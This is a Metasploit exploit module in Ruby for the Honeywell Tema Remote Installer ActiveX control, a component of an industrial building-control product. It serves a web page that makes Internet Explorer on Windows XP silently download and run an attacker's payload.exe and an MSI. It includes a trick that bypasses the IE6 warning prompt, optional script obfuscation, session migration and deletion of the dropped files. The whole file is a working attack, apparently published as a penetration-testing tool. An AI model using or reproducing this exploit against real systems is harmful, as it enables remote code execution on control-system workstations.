Honeywell Tema Remote Installer ActiveX Remote Code Execution



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::EXE

    def initialize(info={})
        super(update_info(info,
            'Name'           => "Honeywell Tema Remote Installer ActiveX Remote Code Execution",
            'Description'    => %q{
                    This modules exploits a vulnerability found in the Honewell Tema ActiveX Remote
                Installer.  This ActiveX control can be abused by using the DownloadFromURL()
                function to install an arbitrary MSI from a remote location without checking source
                authenticity or user notification. This module has been tested successfully with
                the Remote Installer ActiveX installed with HoneyWell EBI R410.1 - TEMA 5.3.0 and
                Internet Explorer 6, 7 and 8 on Windows XP SP3.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Billy Rios', # Vulnerability discovery
                    'Terry McCorkle', # Vulnerability discovery
                    'juan vazquez'  # Metasploit
                ],
            'References'     =>
                [
                    [ 'OSVDB', '76681' ],
                    [ 'BID', '50078' ],
                    [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-285-01.pdf' ]
                ],
            'Payload'        =>
                {
                    'Space'    => 2048,
                    'StackAdjustment' => -3500
                },
            'DefaultOptions'  =>
                {
                    'EXITFUNC'         => "none",
                    'InitialAutoRunScript' => 'migrate -k -f'
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # HoneyWell EBI R410.1 - TEMA 5.3.0
                    # Tema_RemoteInstaller.ocx 1.0.0.0
                    [ 'Automatic', {} ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Oct 20 2011",
            'DefaultTarget'  => 0))

        register_options(
            [
                OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
            ], self.class)
    end

    def exploit
        @dropped_files = [
            'payload.exe',
            'ThinClient_TemaKit.msi',
            'ThinClient_TemaKit.log'
        ]
        super
    end

    def on_new_session(session)
        if session.type == "meterpreter"
            session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
        end

        @dropped_files.each do |file|
            win_file = file.gsub("/", "\\\\")
            if session.type == "meterpreter"
                begin
                    wintemp = session.fs.file.expand_path("%WINDIR%")
                    win_file = "#{wintemp}\\Temp\\#{win_file}"
                    # Meterpreter should do this automatically as part of
                    # fs.file.rm().  Until that has been implemented, remove the
                    # read-only flag with a command.
                    session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
                    session.fs.file.rm(win_file)
                    print_good("Deleted #{file}")
                    true
                rescue ::Rex::Post::Meterpreter::RequestError
                    print_error("Failed to delete #{win_file}")
                    false
                end

            end
        end

    end

    def on_request_uri(cli, request)
        agent = request.headers['User-Agent']

        # Windows 7 isn't normally supported because the user won't have write access to the
        # %WINDIR%/Temp directory, where the downloaded components are stored.
        if not (agent =~ /MSIE \d/ and agent =~ /NT 5\.1/) and agent !~ /Tema_RemoteInstaller/
            print_error("Browser not supported: #{agent.to_s}")
            send_not_found(cli)
            return
        end

        # exec_payload.msi needs it to be named payload.exe
        # atm there isn't msi generation on the fly
        if request.uri =~ /payload\.exe$/
            return if ((p=regenerate_payload(cli))==nil)
            data = generate_payload_exe({:code=>p.encoded})
            print_status("Sending payload")
            send_response(cli, data, {'Content-Type'=>'application/octet-stream'})
            return
        end

        if request.uri =~ /\.msi$/
            msi_source = ::File.join(Msf::Config.install_root, "data", "exploits", "exec_payload.msi")
            source = ::File.open(msi_source, "rb"){|fd| fd.read(fd.stat.size) }
            print_status("Sending msi")
            send_response(cli, source, {'Content-Type'=>'application/octet-stream'})
            return
        end

        if agent =~ /MSIE 6/
            # The 'setTimeout' trick allows to execute the installer on IE6 even if the user
            # doesn't click the warning popup when downloading the payload.
            # The ThinClient_TemaKit.msi installer name must be static.
            # <object id="obj" classid="clsid:E01DF79C-BE0C-4999-9B13-B5F7B2306E9B">
            js = <<-EOS
            var obj = new ActiveXObject('Tema_RemoteInstaller.RemoteInstaller');
            setTimeout("obj.DownloadFromURL('#{get_uri}/ThinClient_TemaKit.msi');", 1000);
            obj.DownloadFromURL('#{get_uri}/payload.exe');
            EOS
        else
            js = <<-EOS
            var obj = new ActiveXObject('Tema_RemoteInstaller.RemoteInstaller');
            obj.DownloadFromURL('#{get_uri}/payload.exe');
            obj.DownloadFromURL('#{get_uri}/ThinClient_TemaKit.msi');
            EOS
        end

        js.gsub!(/\t\t\t/, "")

        if datastore['OBFUSCATE']
            js = ::Rex::Exploitation::JSObfu.new(js)
            js.obfuscate
        end

        html = <<-EOS
        <html>
        <body>
        </object>
        <script>
        #{js}
        </script>
        </body>
        </html>
        EOS

        print_status("Sending html")
        send_response(cli, html, {'Content-Type'=>'text/html'})

    end

end